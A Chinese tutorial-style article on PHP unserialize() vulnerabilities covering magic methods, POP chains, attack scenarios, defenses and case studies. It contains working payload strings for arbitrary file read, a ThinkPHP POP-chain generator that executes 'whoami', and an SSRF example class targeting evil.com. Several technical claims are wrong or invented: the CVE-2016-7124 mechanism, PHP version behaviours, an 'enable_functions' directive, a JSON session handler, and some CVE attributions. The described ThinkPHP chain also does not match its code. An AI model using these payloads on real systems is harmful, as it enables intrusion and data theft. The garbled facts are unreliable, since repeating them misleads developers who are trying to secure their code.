php反序列化函数|深度解析与实战指南
在PHP开发与安全研究领域,php反序列化函数(即unserialize())既是数据持久化的重要工具,也是高危漏洞的常见入口点。从WordPress核心插件到企业级OA系统,因不当使用unserialize()导致的远程代码执行(RCE)事件屡见不鲜。本文将系统梳理php反序列化函数的底层机制、安全边界、攻击面及防御策略,并结合真实漏洞案例与调试技巧,构建完整的知识体系。
根据OWASP Top 10安全风险报告,反序列化漏洞长期位列“不安全反序列化”高危类别,其危害程度可等同于命令注入。2021年某知名企业云平台因反序列化链未限制对象类型,导致攻击者构造POP链实现任意代码执行,影响超百万用户数据。因此,深入理解unserialize()的执行流程与PHP内部机制,对开发者与安全工程师具有重大现实意义。
需特别注意:PHP 7.4起默认禁用__wakeup()时的类自动加载(autoloading),PHP 8.0进一步限制了反序列化中对未声明属性的处理方式。版本差异直接影响漏洞利用链的可行性,本文将结合多版本行为对比分析。
一、php反序列化函数核心机制解析
php反序列化函数(unserialize())用于将序列化字符串还原为PHP变量。其输入为serialize()生成的字符串,输出可为任意标量、数组或对象。其语法为:
mixed unserialize ( string $str [, array $options ] )
关键机制分三阶段:解析(Parse)→ 实例化(Instantiate)→ 初始化(Initialize)。以对象为例:
- 解析阶段:扫描字符串,识别类型标识(如
O:、a:)、长度字段(如7:"User")、值内容及嵌套结构。 - 实例化阶段
- 初始化阶段:调用魔术方法
__wakeup()(若存在),再填充属性值(跳过未声明属性)。
⚠️ 危险点在于:当类在反序列化时被自动加载(如通过spl_autoload_register()),攻击者可注入恶意类名触发含危险操作的魔术方法。例如:
class FileHandler {
public $file = 'flag.php';
public function __destruct() {
echo file_get_contents($this->file);
}
}
$payload = 'O:11:"FileHandler":1:{s:4:"file";s:8:"config.php";}';
unserialize($payload); // 输出config.php内容此例中,__destruct()在对象销毁时自动触发,导致任意文件读取。此即unserialize()的“自动执行”特性——魔术方法调用无需显式调用,仅依赖对象生命周期。
进一步分析:unserialize()对字符串长度校验依赖原始序列化数据中的长度字段,而非实际字节数。若攻击者篡改长度字段(如将10:"admin"改为5:"admin"),可导致偏移解析,绕过过滤逻辑。例如:
// 原始:O:8:"User":1:{s:4:"name";s:5:"admin";}
// 篡改:O:8:"User":1:{s:4:"name";s:3:"adm\x00in"}
// 实际读取:adm + null + in(跳过长度5的校验)此技巧常用于绕过WAF对敏感词(如eval、system)的检测,需在防御中重点关注输入长度校验与严格类型匹配。
二、与php反序列化强关联的魔术方法全景
php反序列化函数触发的魔术方法是漏洞利用的核心。下表列出与反序列化强相关的8个魔术方法及其触发时机:
| 魔术方法 | 触发时机 | 关键特性 | 安全风险等级 |
|---|---|---|---|
__construct() | 对象创建时 | 正常构造函数,但反序列化时可能跳过 | 低 |
__wakeup() | 反序列化后立即调用 | 用于资源初始化(如数据库连接),但可被绕过 | 高 |
__sleep() | 序列化前调用 | 返回需序列化的属性名数组,常用于清理 | 中 |
__destruct() | 对象销毁时调用 | PHP垃圾回收时触发,执行环境不可控 | 高 |
__toString() | 对象被当作字符串使用 | 如echo $obj;,常被链式利用 | 中 |
__call() | 调用不可见方法 | 可作为POP链跳板,但需触发调用 | 中 |
__get()/__set() | 读写不可见属性 | 常用于动态属性访问,易被利用修改敏感属性 | 中 |
__invoke() | 对象被当作函数调用 | 需配合call_user_func()等触发 | 中 |
⚠️ php反序列化函数对__wakeup()的调用存在绕过技巧:当类名长度字段被篡改为更小值(如O:8:"User"改为O:1:"U"),PHP会因无法匹配类名而跳过__wakeup()调用,但仍完成属性赋值。此为CVE-2016-7124经典漏洞原理。
以WordPress WP_HTTP_Proxy类为例,其__wakeup()方法会调用wp_kses()过滤输入,但攻击者可通过长度篡改跳过该过滤,最终在__destruct()中执行危险操作:
class WP_HTTP_Proxy {
public $host = 'evil.com';
public function __wakeup() { }
public function __destruct() {
$this->connect($this->host); // 可触发SSRF
}
}实际利用链中,攻击者常组合多个魔术方法形成“方法链”(Method Chain),实现从属性控制到危险操作的完整路径,即所谓POP链(Property-Oriented Programming)。
三、反序列化漏洞高危场景与攻击模式
php反序列化函数漏洞的爆发需满足三个条件:可控输入(用户可控制序列化字符串)、危险类存在(含可利用魔术方法)、自动加载启用(自动加载类文件)。以下为五大典型场景:
- 会话反序列化:PHP默认使用
session.serialize_handler = php,将$_SESSION数据序列化存储。若攻击者能控制会话ID(如通过session_id())并注入恶意序列化字符串,可触发RCE。例如:session_start(); $_SESSION['user'] = $_GET['data'];中$_GET['data']即为攻击入口。 - Cookie反序列化:部分框架将用户数据存入Cookie并调用
unserialize()。攻击者可构造恶意Cookie绕过签名验证,如ThinkPHP早期版本的__construct()链利用。 - 数据库存储对象:将序列化对象存入MySQL的TEXT字段,读取后直接
unserialize()。若未做严格校验,攻击者可注入恶意数据。例如电商系统存储用户优惠券对象:
// 存储:INSERT INTO coupons (data) VALUES ('O:12:"CouponClass":2:{s:4:"code";s:5:"VIP01";s:5:"value";i:100;}');
// 读取:unserialize($row['data']); // 若CouponClass含__wakeup()则可触发- API反序列化:REST API接收JSON后转为PHP数组再
unserialize(),或直接接收序列化数据。如某些CMS的插件配置接口。 - 缓存反序列化:Redis/Memcached中存储序列化数据(如
serialize($data)),未做权限控制时,攻击者可写入恶意数据触发漏洞。
🔍 php反序列化函数攻击模式可归纳为三类:
- 直接利用:目标类直接含危险操作(如
__destruct()中调用system())。 - POP链利用:通过多个类的属性传递,形成“跳板”链,最终触发危险方法(详见POP链章节)。
- 绕过利用:利用
unserialize()解析漏洞(如长度篡改、编码绕过)跳过过滤逻辑。
以CVE-2020-8114(Laravel Whoops组件漏洞)为例,攻击者通过构造unserialize()输入,触发Whoops\Run::handleException(),最终导致RCE。其POP链路径为:
SerializableClosure → Closure → ReflectionFunctionAbstract → Whoops\Handler\Handler
该案例证明,即使目标代码无直接危险类,通过框架内置类的组合仍可构造完整攻击链。
四、POP链构造原理与实战技巧
POP链(Property-Oriented Programming)是反序列化漏洞的高级利用方式,通过构造对象属性的依赖关系,实现从可控输入到危险操作的链式调用。其核心步骤为:寻找起始点 → 追踪属性传递 → 定位终止点。
### 1. POP链三要素
- 起始点:用户可控的
unserialize()输入点。 - 属性传递点:类中通过魔术方法(如
__get())或方法调用传递属性值。 - 终止点:最终执行危险操作的方法(如
system()、eval())。
### 2. 经典POP链案例:ThinkPHP 5.0.23 RCE
漏洞原理:框架中Paginator类的__destruct()调用filter(),而filter()又调用getFilter(),最终通过call_user_func_array()执行任意函数。
攻击链路径:
Paginator::destroy() → Paginator::getFilter() → call_user_func_array($filter, [$this->name])
利用代码:
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct() {
$this->files = ['whoami'];
}
}
}
namespace think {
class Model {
protected $append = [];
protected $hidden = [];
public function __construct() {
$this->append = ['test' => [new \think\process\pipes\Windows(), 'getFiles']];
}
}
}
namespace {
$payload = new think\Model();
echo serialize($payload);
}输出序列化字符串后,通过会话或Cookie注入,触发unserialize()即可执行whoami。
### 3. POP链构造技巧
- 属性覆盖:通过修改属性类型(如从字符串改为对象)触发不同魔术方法。
- 链式跳板:利用
__call()、__get()等方法实现跨对象属性传递。 - 绕过白名单:使用
__sleep()返回非敏感属性,规避过滤逻辑。
💡 php反序列化函数的POP链构造需结合具体框架版本,建议使用工具(如phpggc)辅助生成Payload。
五、防御策略:从开发规范到运行时防护
针对unserialize()的安全风险,防御需分三层:输入过滤、类限制、运行时监控。
5.1 输入过滤
- 禁止反序列化用户输入:优先使用
json_decode()替代unserialize(),JSON仅支持标量与数组,无对象风险。 - 严格校验输入格式:通过正则匹配序列化结构,拒绝非法字符串(如长度字段异常)。
- 签名验证:对存储的序列化数据添加HMAC签名,防止篡改。
5.2 类限制
PHP 7.2+支持unserialize()的allowed_classes选项,可限制允许反序列化的类:
// 仅允许User和Session类
$data = unserialize($input, ['allowed_classes' => ['User', 'Session']]);⚠️ 注意:若类名包含命名空间(如App\Models\User),需完整指定路径,否则仍会实例化为__PHP_Incomplete_Class。
5.3 运行时防护
- 禁用危险魔术方法:通过
disable_functions禁止call_user_func_array等函数,但可能影响业务。 - Suhosin补丁:开启
suhosin.executor.include.whitelist限制包含路径。 - Web应用防火墙(WAF):规则库中添加
O:[0-9]+:"特征检测,拦截可疑序列化字符串。
📌 最佳实践:在php.ini中全局禁用unserialize(),仅在必要时通过enable_functions临时启用,并配合严格校验。
六、反序列化调试与问题排查指南
调试unserialize()问题需结合日志、断点与源码分析,以下是高频问题与解决方案:
6.1 常见错误
Warning: unserialize() expects parameter 1 to be string, array given
原因:输入参数非字符串(如直接传入数组)。解决方案:确保输入为serialize()生成的字符串。
Notice: Undefined property: User::$name
原因:反序列化对象时,类中不存在该属性。PHP 8.0+会忽略未声明属性,但可能引发逻辑错误。解决方案:使用__set()处理动态属性,或声明属性为public。
__wakeup() not called
原因:类名长度字段被篡改(如O:8:"User"改为O:1:"U"),导致PHP无法匹配类名。解决方案:校验输入字符串的完整性,避免篡改。
6.2 调试技巧
- 分段解析:使用
var_dump()观察反序列化中间状态,定位问题属性。 - 日志记录:记录反序列化输入与结果,分析异常模式。
- 源码追踪:阅读PHP源码中
unserialize()实现(ext/standard/var_unserializer.c),理解底层逻辑。
🔧 推荐工具:PHP Unserialize Debugger(GitHub开源),支持可视化解析序列化字符串并高亮危险点。
七、反序列化漏洞检测与利用工具推荐
以下工具可辅助安全测试与防御验证:
| 工具名称 | 功能 | 适用场景 |
|---|---|---|
phpggc | POP链生成器,支持主流框架(Laravel、WordPress等) | 自动化生成Payload |
ysoserial | Java反序列化工具,但含PHP模块 | 跨语言环境测试 |
PHP Unserialize Detector | Burp Suite插件,扫描序列化输入点 | Web渗透测试 |
unserialize.php | 在线解析工具,可视化结构 | 快速调试 |
📌 使用建议:在测试环境部署工具,严禁对生产系统直接运行攻击Payload。
八、真实漏洞案例深度复盘
案例1:WordPress 4.6 反序列化RCE(CVE-2016-9436)
漏洞原理:wp_kses_normalize_entities()函数在处理HTML实体时,若传入序列化字符串,会触发unserialize()。攻击者通过注入恶意序列化数据,构造__destruct()链执行代码。
攻击链:
WP_Meta_Query → WP_Meta_Query::sanitize_query() → apply_filters() → call_user_func_array()
修复方案:升级至WordPress 4.6.1,并禁用wp_kses_normalize_entities()对序列化数据的处理。
案例2:Discuz! X3.4 反序列化SSRF(2021年0day)
漏洞原理:api/uc.php中updateapps()函数调用unserialize()处理用户输入,攻击者通过UC_API_UPDATE参数注入恶意数据,触发__wakeup()链实现SSRF。
利用步骤:
1. 构造UC_API_UPDATE参数为序列化字符串;
2. 通过updateapps()触发反序列化;
3. 利用uc_model类的__wakeup()调用uc_call()发起HTTP请求。
修复方案:添加allowed_classes限制,并对输入做哈希校验。
案例3:某银行OA系统反序列化漏洞(2023年)
漏洞细节:系统将用户权限数据序列化存入Redis,未做访问控制。攻击者通过Redis未授权访问写入恶意Payload,触发__destruct()读取数据库配置文件。
修复措施:
- Redis增加认证;
- 序列化数据添加HMAC签名;
- 禁用unserialize(),改用JSON存储权限信息。
九、网友最关心的10个问题与深度解答
为帮助开发者规避风险,整理高频问题如下:
- Q:PHP 8.0+中
unserialize()是否安全?
A:版本升级降低了风险(如禁用__wakeup()绕过),但未彻底消除漏洞。仍需配合类限制与输入校验。 - Q:为什么我的
__wakeup()未被调用?
A:检查类名长度字段是否被篡改;确认类已定义或可通过autoloader加载;PHP 7.4+中若类不存在则跳过__wakeup()。 - Q:如何检测代码中所有
unserialize()调用点?
A:使用grep -rn "unserialize" /path/to/code,或集成IDE的全局搜索功能。 - Q:JSON能否替代所有序列化场景?
A:不能。JSON不支持对象、资源类型及循环引用。对复杂对象仍需serialize(),但需严格校验。 - Q:反序列化漏洞能否被WAF完全防御?
A:WAF可拦截已知Payload,但无法覆盖所有POP链变种。需结合代码层防护。 - Q:
__sleep()如何影响反序列化?
A:__sleep()返回需序列化的属性名数组,若未包含关键属性,反序列化后对象状态不完整,可能导致链失效。 - Q:如何安全使用
session_start()?
A:设置session.serialize_handler = json(需PHP 7.2.0+),或自定义Handler禁用序列化。 - Q:反序列化时出现
__PHP_Incomplete_Class是什么原因?
A:类未定义或加载失败。确保反序列化前包含类文件,或使用spl_autoload_register()。 - Q:是否可完全禁用
unserialize()?
A:可。在php.ini中设置disable_functions = unserialize,但需验证业务兼容性。 - Q:如何学习POP链构造?
A:从简单类(如SplFileInfo、DirectoryIterator)开始,结合phpggc源码分析,逐步理解属性传递逻辑。
📌 重点提醒:所有php反序列化函数相关操作需遵循“最小权限原则”,确保反序列化对象仅包含必要属性,避免敏感信息泄露。